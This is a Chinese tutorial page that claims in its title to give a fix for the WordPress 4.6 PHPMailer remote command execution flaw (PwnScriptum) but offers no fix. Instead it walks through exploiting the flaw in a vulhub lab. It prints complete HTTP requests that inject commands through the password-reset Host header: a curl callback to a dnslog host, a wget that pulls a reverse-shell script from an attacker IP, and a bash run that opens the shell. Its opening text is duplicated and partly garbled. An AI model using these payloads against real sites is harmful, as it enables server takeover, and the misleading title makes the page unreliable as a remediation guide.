您现在的位置是:首页 > cms教程 > WordPress教程WordPress教程
Wordpress4.6任意命令执行漏洞修复方法
秋翠2025-03-02WordPress教程已有人查阅
导读Wordpress 4.6 任意命令执行漏洞(PwnScriptum)当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截
Wordpress 4.6 任意命令执行漏洞(PwnScriptum)
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可git clone git://github.com/vulhub/vulhub.git
影响版本
然后跟着默认下一步安装即可
漏洞在找回密码的页面,这是测试是否存在的payload,里面的user_login为你自己设置存在的账号,由于有些字符不能用,我们用${substr{0}{1}{$spool_directory}}代替/,${substr{10}{1}{$tod_log}}代替空格POST /wp-login.php?action=lostpassword HTTP/1.1
开启一个web服务存放反弹shell脚本
执行payload使目标服务器下载这个脚本POST /wp-login.php?action=lostpassword HTTP/1.1
服务器监听1234端口
发送payload使目标服务器执行脚本POST /wp-login.php?action=lostpassword HTTP/1.1
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可git clone git://github.com/vulhub/vulhub.git
cd vulhub/wordpress/pwnscriptum/
docker-compose up -d
访问IP:8080/即可看到一个wordpress安装界面页面。影响版本
WordPress <= 4.6.0
PHPMailer < 5.2.18
漏洞复现然后跟着默认下一步安装即可
漏洞在找回密码的页面,这是测试是否存在的payload,里面的user_login为你自己设置存在的账号,由于有些字符不能用,我们用${substr{0}{1}{$spool_directory}}代替/,${substr{10}{1}{$tod_log}}代替空格POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}wb5hh4.dnslog.cn}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 63
Content-Type: application/x- -form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin@qq.com
执行后发现dnslog接收,证明命令执行成功漏洞存在开启一个web服务存放反弹shell脚本
执行payload使目标服务器下载这个脚本POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}IP地址${substr{0}{1}{$spool_directory}}edi.txt}} null )
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x- -form-urlencoded
Content-Length: 94
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/wp-login.php?action=lostpassword
Cookie: ECS[visit_times]=9; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
user_login=admin%40qq.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
web服务监听80发现脚本被人访问,上面的命令执行成功服务器监听1234端口
发送payload使目标服务器执行脚本POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x- -form-urlencoded
Content-Length: 94
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/wp-login.php?action=lostpassword
Cookie: ECS[visit_times]=9; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
user_login=admin%40qq.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
反弹shell成功
本文标签:
很赞哦! ()
相关教程
图文教程
怎么抓取WordPress文章
抓取WordPress文章可以使用抓取插件来完成,如使用WP-AutoPost插件。启用WP-AutoPost插件然后创建新的任务,然后对插件进行设置即可。
wordpress安装包怎么安装,wordpress安装方法
wordpress安装包怎么安装,wordpress安装方法:1.首先将WordPress安装包解压至一个空文件夹,并上传它。这里通常需要用到FTP工具,个人比较喜欢FileZilla,免费
wordpress主题模版怎么去除版权,wordpress主题版权怎么删除
1、打开主题文件夹:wp-content/themes/主题名称/footer.php;3、删除这段代码即可,删除后会什么都不显示,这样不是很美观,可己添加下自己的版权信息,可以替换为以下代码:
wordpress升级报错的解决方法
前几天登录我的博客后台,发现可以升级了,顺手点了一下,但顺接出现了几个报错,然后这里记录一下解决方法:1、出现“另一更新正在进行”的错误解决:2、wordpress其它错误:
相关源码
-
自适应黑色建筑装饰设计公司个人工作室pbootcms模板基于PbootCMS内核开发的黑金风格模板,为建筑装饰、工程设计类企业打造,采用开源架构,支持跨行业快速适配,核心优势如下: 查看源码 -
(自适应)html5宽屏电线电缆材料加工制造类企业网站源码下载本模板基于PbootCMS系统开发,特别适合电线电缆、电缆材料及相关加工制造类企业使用。采用HTML5宽屏设计,能够展示各类电缆产品的技术参数和规格详情,帮助客户全面了解产品特性。查看源码 -
(PC+WAP)房屋建造建筑工程房地产建材行pbootcms网站模板下载本模板基于PbootCMS内核开发,为房屋建造、建筑工程及房地产建材类企业设计。通过本模板可快速搭建具有行业特色的企业官网,只需替换文字与图片内容即可适配其他行业使用。查看源码 -
(自适应响应式)高端网站建设设计公司互联网营销网站pbootcms模板本模板基于PbootCMS内核开发,为网站建设公司和互联网营销企业量身打造。采用响应式设计,适配各种移动设备,提供统一的后台管理体验查看源码 -
(自适应)营销型健身器材产品设备类pbootcms模板网站为健身器材企业打造的营销型网站模板,基于PbootCMS开源内核开发。采用HTML5响应式架构,PC与移动端数据实时同步,适配多终端展示场景。查看源码 -
(自适应响应式)HTML5甲醛环境检测网站模板带在线留言和资料下载本模板为甲醛检测与环保科技企业开发,采用PbootCMS内核构建。首页集成空气质量数据可视化模块,服务流程采用时间轴展示设计,检测报告板块支持PDF在线预览功能查看源码
| 分享笔记 (共有 篇笔记) |

